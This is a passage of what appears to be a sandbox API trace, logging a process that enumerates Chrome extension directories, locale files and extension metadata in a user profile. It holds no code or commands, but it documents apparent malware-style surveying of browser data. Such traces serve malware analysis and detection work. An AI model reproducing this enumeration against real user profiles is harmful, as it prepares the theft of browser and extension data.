ftCreationTime.dwLowDateTime=0x86aba9b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86abb180, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86d1bfb0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x144, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0278.990] FindNextFileW (in: hFindFile=0x639a08, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86aba9b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86abb180, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86d1bfb0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x144, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0 [0278.990] FindClose (in: hFindFile=0x639a08 | out: hFindFile=0x639a08) returned 1 [0278.990] GetProcessHeap () returned 0x550000 [0278.990] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x3742070 | out: hHeap=0x550000) returned 1 [0278.990] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ced6d0 | out: lpFindFileData=0x2ced6d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x869b0010, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86a22430, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86a22430, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="tr", cAlternateFileName="")) returned 1 [0278.990] GetProcessHeap () returned 0x550000 [0278.990] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x3742070 [0278.991] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\tr\\*", lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x869b0010, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86a22430, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86a22430, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639a08 [0278.991] FindNextFileW (in: hFindFile=0x639a08, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x869b0010, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86a22430, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86a22430, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0278.991] FindNextFileW (in: hFindFile=0x639a08, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86a22430, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86a21490, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86d1bfb0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xea, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0278.991] FindNextFileW (in: hFindFile=0x639a08, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86a22430, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86a21490, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86d1bfb0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xea, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0 [0278.991] FindClose (in: hFindFile=0x639a08 | out: hFindFile=0x639a08) returned 1 [0278.991] GetProcessHeap () returned 0x550000 [0278.991] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x3742070 | out: hHeap=0x550000) returned 1 [0278.991] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ced6d0 | out: lpFindFileData=0x2ced6d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x869d6170, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86a6e6f0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86a6e6f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="uk", cAlternateFileName="")) returned 1 [0278.991] GetProcessHeap () returned 0x550000 [0278.991] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x3742070 [0278.991] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\uk\\*", lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x869d6170, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86a6e6f0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86a6e6f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639a08 [0278.991] FindNextFileW (in: hFindFile=0x639a08, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x869d6170, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86a6e6f0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86a6e6f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0278.991] FindNextFileW (in: hFindFile=0x639a08, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86a6e6f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86a6f690, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86d1bfb0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x130, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0278.992] FindNextFileW (in: hFindFile=0x639a08, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86a6e6f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86a6f690, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86d1bfb0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x130, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0 [0278.992] FindClose (in: hFindFile=0x639a08 | out: hFindFile=0x639a08) returned 1 [0278.992] GetProcessHeap () returned 0x550000 [0278.992] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x3742070 | out: hHeap=0x550000) returned 1 [0278.992] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ced6d0 | out: lpFindFileData=0x2ced6d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x869fc2d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86a94850, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86a94850, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="vi", cAlternateFileName="")) returned 1 [0278.992] GetProcessHeap () returned 0x550000 [0278.992] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x3742070 [0278.992] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\vi\\*", lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x869fc2d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86a94850, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86a94850, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639a08 [0278.992] FindNextFileW (in: hFindFile=0x639a08, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x869fc2d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86a94850, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86a94850, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0278.992] FindNextFileW (in: hFindFile=0x639a08, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86a94850, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86a94080, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86d1bfb0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xe8, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0278.992] FindNextFileW (in: hFindFile=0x639a08, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86a94850, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86a94080, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86d1bfb0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xe8, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0 [0278.992] FindClose (in: hFindFile=0x639a08 | out: hFindFile=0x639a08) returned 1 [0278.993] GetProcessHeap () returned 0x550000 [0278.993] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x3742070 | out: hHeap=0x550000) returned 1 [0278.993] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ced6d0 | out: lpFindFileData=0x2ced6d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x869fc2d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86a94850, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86a94850, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh_CN", cAlternateFileName="")) returned 1 [0278.993] GetProcessHeap () returned 0x550000 [0278.993] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x3742070 [0278.993] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\zh_CN\\*", lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x869fc2d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86a94850, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86a94850, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639a08 [0278.993] FindNextFileW (in: hFindFile=0x639a08, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x869fc2d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86a94850, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86a94850, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0278.993] FindNextFileW (in: hFindFile=0x639a08, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86a94850, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86a94080, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86d1bfb0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x102, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0278.993] FindNextFileW (in: hFindFile=0x639a08, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86a94850, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86a94080, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86d1bfb0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x102, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0 [0278.993] FindClose (in: hFindFile=0x639a08 | out: hFindFile=0x639a08) returned 1 [0278.993] GetProcessHeap () returned 0x550000 [0278.993] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x3742070 | out: hHeap=0x550000) returned 1 [0278.993] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ced6d0 | out: lpFindFileData=0x2ced6d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86a22430, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86a94850, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86a94850, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh_TW", cAlternateFileName="")) returned 1 [0278.993] GetProcessHeap () returned 0x550000 [0278.993] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x3742070 [0278.993] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\zh_TW\\*", lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86a22430, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86a94850, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86a94850, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639a08 [0278.994] FindNextFileW (in: hFindFile=0x639a08, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86a22430, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86a94850, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86a94850, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0278.994] FindNextFileW (in: hFindFile=0x639a08, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86a94850, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86a94080, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86d1bfb0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xf9, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0278.994] FindNextFileW (in: hFindFile=0x639a08, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86a94850, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86a94080, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86d1bfb0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xf9, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0 [0278.994] FindClose (in: hFindFile=0x639a08 | out: hFindFile=0x639a08) returned 1 [0278.994] GetProcessHeap () returned 0x550000 [0278.994] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x3742070 | out: hHeap=0x550000) returned 1 [0278.994] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ced6d0 | out: lpFindFileData=0x2ced6d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86a22430, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86a94850, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86a94850, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh_TW", cAlternateFileName="")) returned 0 [0278.994] FindClose (in: hFindFile=0x639748 | out: hFindFile=0x639748) returned 1 [0278.994] GetProcessHeap () returned 0x550000 [0278.994] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x3732068 | out: hHeap=0x550000) returned 1 [0278.994] FindNextFileW (in: hFindFile=0x6399c8, lpFindFileData=0x2ced958 | out: lpFindFileData=0x2ced958*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86aba9b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86ae0b10, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86ae0b10, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="_metadata", cAlternateFileName="_METAD~1")) returned 1 [0278.994] GetProcessHeap () returned 0x550000 [0278.994] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x3732068 [0278.994] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_metadata\\*", lpFindFileData=0x2ced6d0 | out: lpFindFileData=0x2ced6d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86aba9b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86ae0b10, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86ae0b10, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639748 [0278.995] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ced6d0 | out: lpFindFileData=0x2ced6d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86aba9b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86ae0b10, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86ae0b10, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0278.995] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ced6d0 | out: lpFindFileData=0x2ced6d0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86ae0b10, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86adfb70, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xdd12c400, ftLastWriteTime.dwHighDateTime=0x1d0683e, nFileSizeHigh=0x0, nFileSizeLow=0x2686, dwReserved0=0x0, dwReserved1=0x0, cFileName="verified_contents.json", cAlternateFileName="VERIFI~1.JSO")) returned 1 [0278.995] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ced6d0 | out: lpFindFileData=0x2ced6d0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86ae0b10, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86adfb70, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xdd12c400, ftLastWriteTime.dwHighDateTime=0x1d0683e, nFileSizeHigh=0x0, nFileSizeLow=0x2686, dwReserved0=0x0, dwReserved1=0x0, cFileName="verified_contents.json", cAlternateFileName="VERIFI~1.JSO")) returned 0 [0278.995] FindClose (in: hFindFile=0x639748 | out: hFindFile=0x639748) returned 1 [0278.995] GetProcessHeap () returned 0x550000 [0278.995] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x3732068 | out: hHeap=0x550000) returned 1 [0278.995] FindNextFileW (in: hFindFile=0x6399c8, lpFindFileData=0x2ced958 | out: lpFindFileData=0x2ced958*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86aba9b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86ae0b10, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86ae0b10, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="_metadata", cAlternateFileName="_METAD~1")) returned 0 [0278.995] FindClose (in: hFindFile=0x6399c8 | out: hFindFile=0x6399c8) returned 1 [0278.996] GetProcessHeap () returned 0x550000 [0278.996] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x5b4378 | out: hHeap=0x550000) returned 1 [0278.996] FindNextFileW (in: hFindFile=0x639988, lpFindFileData=0x2cedbe0 | out: lpFindFileData=0x2cedbe0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86989eb0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86d1bfb0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86d1bfb0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="8.1_0", cAlternateFileName="")) returned 0 [0278.996] FindClose (in: hFindFile=0x639988 | out: hFindFile=0x639988) returned 1 [0278.996] GetProcessHeap () returned 0x550000 [0278.996] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x6065c0 | out: hHeap=0x550000) returned 1 [0278.996] FindNextFileW (in: hFindFile=0x639948, lpFindFileData=0x2cede68 | out: lpFindFileData=0x2cede68*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8399f510, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x839a6a40, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x839a6a40, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pkedcjkdefgpdelpbcmbmeomcjbeemfm", cAlternateFileName="PKEDCJ~1")) returned 1 [0278.996] GetProcessHeap () returned 0x550000 [0278.996] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x6065c0 [0278.996] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\*", lpFindFileData=0x2cedbe0 | out: lpFindFileData=0x2cedbe0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8399f510, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x839a6a40, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x839a6a40, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639988 [0278.997] FindNextFileW (in: hFindFile=0x639988, lpFindFileData=0x2cedbe0 | out: lpFindFileData=0x2cedbe0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8399f510, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x839a6a40, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x839a6a40, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0278.997] FindNextFileW (in: hFindFile=0x639988, lpFindFileData=0x2cedbe0 | out: lpFindFileData=0x2cedbe0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x833dcb50, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x836e0310, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x836e0310, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, 